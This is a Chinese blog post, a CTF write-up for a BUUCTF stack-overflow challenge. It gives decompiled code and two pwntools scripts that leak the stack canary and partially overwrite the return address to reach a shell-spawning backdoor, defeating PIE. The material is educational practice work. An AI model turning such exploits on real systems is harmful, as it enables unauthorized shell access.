partial write bypass PIE

第一篇博客,请允许我水一下。BUUCTF上的一题:linkctf_2018.7_babypie

检查一下保护机制:

1     Arch:     amd64-64-little
2     RELRO:    Partial RELRO
3     Stack:    Canary found
4     NX:       NX enabled
5     PIE:      PIE enabled

canary,pie,nx都开的栈,拖进IDA看看

 1 __int64 sub_960()
 2 {
 3   __int64 buf[6]; // [rsp+0h] [rbp-30h] BYREF
 4 
 5   buf[5] = __readfsqword(0x28u);
 6   setvbuf(stdin, 0LL, 2, 0LL);
 7   setvbuf(_bss_start, 0LL, 2, 0LL);
 8   buf[0] = 0LL;
 9   buf[1] = 0LL;
10   buf[2] = 0LL;
11   buf[3] = 0LL;
12   puts("Input your Name:");
13   read(0, buf, 0x30uLL);
14   printf("Hello %s:\n", (const char *)buf);
15   read(0, buf, 0x60uLL);
16   return 0LL;
17 }
1 int sub_A3E()
2 {
3   return system("/bin/sh");
4 }
 1 .text:0000000000000960 sub_960         proc near               ; CODE XREF: main+14↓p
 2 .text:0000000000000960
 3 .text:0000000000000960 buf             = qword ptr -30h
 4 .text:0000000000000960 var_28          = qword ptr -28h
 5 .text:0000000000000960 var_20          = qword ptr -20h
 6 .text:0000000000000960 var_18          = qword ptr -18h
 7 .text:0000000000000960 var_8           = qword ptr -8
 8 .text:0000000000000960
 9 .text:0000000000000960 ; __unwind {
10 .text:0000000000000960                 push    rbp
11 .text:0000000000000961                 mov     rbp, rsp
12 .text:0000000000000964                 sub     rsp, 30h
13 .text:0000000000000968                 mov     rax, fs:28h
14 .text:0000000000000971                 mov     [rbp+var_8], rax
15 .text:0000000000000975                 xor     eax, eax
16 .text:0000000000000977                 mov     rax, cs:stdin
17 .text:000000000000097E                 mov     ecx, 0          ; n
18 .text:0000000000000983                 mov     edx, 2          ; modes
19 .text:0000000000000988                 mov     esi, 0          ; buf
20 .text:000000000000098D                 mov     rdi, rax        ; stream
21 .text:0000000000000990                 call    _setvbuf
22 .text:0000000000000995                 mov     rax, cs:__bss_start
23 .text:000000000000099C                 mov     ecx, 0          ; n
24 .text:00000000000009A1                 mov     edx, 2          ; modes
25 .text:00000000000009A6                 mov     esi, 0          ; buf
26 .text:00000000000009AB                 mov     rdi, rax        ; stream
27 .text:00000000000009AE                 call    _setvbuf
28 .text:00000000000009B3                 mov     [rbp+buf], 0
29 .text:00000000000009BB                 mov     [rbp+var_28], 0
30 .text:00000000000009C3                 mov     [rbp+var_20], 0
31 .text:00000000000009CB                 mov     [rbp+var_18], 0
32 .text:00000000000009D3                 lea     rdi, s          ; "Input your Name:"
33 .text:00000000000009DA                 call    _puts
34 .text:00000000000009DF                 lea     rax, [rbp+buf]
35 .text:00000000000009E3                 mov     edx, 30h ; '0'  ; nbytes
36 .text:00000000000009E8                 mov     rsi, rax        ; buf
37 .text:00000000000009EB                 mov     edi, 0          ; fd
38 .text:00000000000009F0                 call    _read
39 .text:00000000000009F5                 lea     rax, [rbp+buf]
40 .text:00000000000009F9                 mov     rsi, rax
41 .text:00000000000009FC                 lea     rdi, format     ; "Hello %s:\n"
42 .text:0000000000000A03                 mov     eax, 0
43 .text:0000000000000A08                 call    _printf
44 .text:0000000000000A0D                 lea     rax, [rbp+buf]
45 .text:0000000000000A11                 mov     edx, 60h ; '`'  ; nbytes
46 .text:0000000000000A16                 mov     rsi, rax        ; buf
47 .text:0000000000000A19                 mov     edi, 0          ; fd
48 .text:0000000000000A1E                 call    _read
49 .text:0000000000000A23                 mov     eax, 0
50 .text:0000000000000A28                 mov     rcx, [rbp+var_8]
51 .text:0000000000000A2C                 xor     rcx, fs:28h
52 .text:0000000000000A35                 jz      short locret_A3C
53 .text:0000000000000A37                 call    ___stack_chk_fail
54 .text:0000000000000A3C ; ---------------------------------------------------------------------------
55 .text:0000000000000A3C
56 .text:0000000000000A3C locret_A3C:                             ; CODE XREF: sub_960+D5↑j
57 .text:0000000000000A3C                 leave
58 .text:0000000000000A3D                 retn
59 .text:0000000000000A3D ; } // starts at 960
60 .text:0000000000000A3D sub_960         endp
61 .text:0000000000000A3D
62 .text:0000000000000A3E
63 .text:0000000000000A3E ; =============== S U B R O U T I N E =======================================
64 .text:0000000000000A3E
65 .text:0000000000000A3E ; Attributes: bp-based frame
66 .text:0000000000000A3E
67 .text:0000000000000A3E sub_A3E         proc near
68 .text:0000000000000A3E ; __unwind {
69 .text:0000000000000A3E                 push    rbp
70 .text:0000000000000A3F                 mov     rbp, rsp
71 .text:0000000000000A42                 lea     rdi, command    ; "/bin/sh"
72 .text:0000000000000A49                 call    _system
73 .text:0000000000000A4E                 nop
74 .text:0000000000000A4F                 pop     rbp
75 .text:0000000000000A50                 retn
76 .text:0000000000000A50 ; } // starts at A3E
77 .text:0000000000000A50 sub_A3E         endp

有个格式化字符串漏洞可以泄露canary,由于pie的开启,IDA里只显示后三位,发现后门函数地址后三位是 A3E ,和用gdb调出来的返回地址 A6A 只相差最后一个字节,由于小端序存储,我们可以直接部分字节写入,改返回地址为后门函数,即可getshell。以下附上exp:

from pwn import *

def pwn():
    s =remote('node4.buuoj.cn',27982)
    s.recvuntil(b'Input your Name:\n')
    s.sendline(b'a'*0x28)
    s.recvuntil(b'a'*0x28)
    canary=u64(s.recv(8))-0xa
    success(hex(canary))

    payload=b'a'*0x28+p64(canary)+p64(0)+b'\x3e'
    s.recvuntil(b':\n')
    s.send(payload)
    s.interactive()
pwn()

当然有兴趣的师傅也可以试看看写入双字节,爆破看看,有1/16的概率getshell。

exp:

 1 from pwn import *
 2 
 3 def pwn():
 4   s.recvuntil(b'Input your Name:\n')
 5   s.sendline(b'a'*0x28)
 6   s.recvuntil(b'a'*0x28)
 7   canary=u64(s.recv(8))-0xa
 8   success(hex(canary))
 9 
10   payload=b'a'*0x28+p64(canary)+p64(0)+b'\x3e\xaa'
11   s.recvuntil(b':\n')
12   s.send(payload)
13   s.sendline(b'ls')
14   k=s.recv()
15   return k
16 
17 
18 if __name__ == '__main__':
19   while True:
20     s =remote('node4.buuoj.cn',26877)
21     k=pwn()
22     if(b'bin' in k):
23       s.interactive()
24       break
25     s.close()

 

最后感谢winmt师傅的爆破指导。

posted @ 2021-12-14 23:11  狒猩橙  阅读(400)  评论(2编辑  收藏  举报